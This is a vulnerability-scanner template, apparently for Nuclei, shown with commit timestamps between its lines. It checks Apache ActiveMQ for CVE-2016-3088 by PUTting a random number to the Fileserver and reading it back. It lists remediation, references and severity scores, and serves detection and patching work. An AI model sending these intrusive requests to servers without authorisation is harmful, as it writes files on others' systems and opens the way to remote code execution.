2021-11-05 19:12:00 +00:00
id : CVE-2016-3088
info :
2022-04-25 14:35:07 +00:00
name : Apache ActiveMQ Fileserver - Arbitrary File Write
2021-11-05 19:12:00 +00:00
author : fq_hsu
2021-11-06 12:47:58 +00:00
severity : critical
2022-04-25 14:35:07 +00:00
description : Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability.
2021-11-05 19:12:00 +00:00
reference :
- https://www.exploit-db.com/exploits/40857
2021-11-06 14:38:10 +00:00
- https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30
2021-11-05 19:12:00 +00:00
- http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
- https://nvd.nist.gov/vuln/detail/CVE-2016-3088
2023-07-11 19:49:27 +00:00
- http://rhn.redhat.com/errata/RHSA-2016-2036.html
2021-11-06 12:47:58 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-11-06 12:47:58 +00:00
cve-id : CVE-2016-3088
cwe-id : CWE-20
2023-07-11 19:49:27 +00:00
epss-score : 0.83955
2023-10-14 11:27:55 +00:00
epss-percentile : 0.98079
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : activemq
tags : fileupload,kev,edb,cve,cve2016,apache,activemq,intrusive
2023-06-14 18:55:37 +00:00
variables :
2023-06-15 18:33:48 +00:00
rand1 : '{{rand_int(11111111, 99999999)}}'
2023-06-14 18:55:37 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-05 19:12:00 +00:00
- raw :
- |
2023-06-14 18:55:37 +00:00
PUT /fileserver/{{randstr}}.txt HTTP/1.1
2021-11-05 19:12:00 +00:00
Host : {{Hostname}}
2023-06-14 18:55:37 +00:00
{{rand1}}
2021-11-05 19:12:00 +00:00
- |
2023-06-14 18:55:37 +00:00
GET /fileserver/{{randstr}}.txt HTTP/1.1
2021-11-05 19:12:00 +00:00
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
2021-11-06 10:43:58 +00:00
- "status_code_1==204"
- "status_code_2==200"
2023-06-14 18:55:37 +00:00
- "contains((body_2), '{{rand1}}')"
2021-11-05 19:12:00 +00:00
condition : and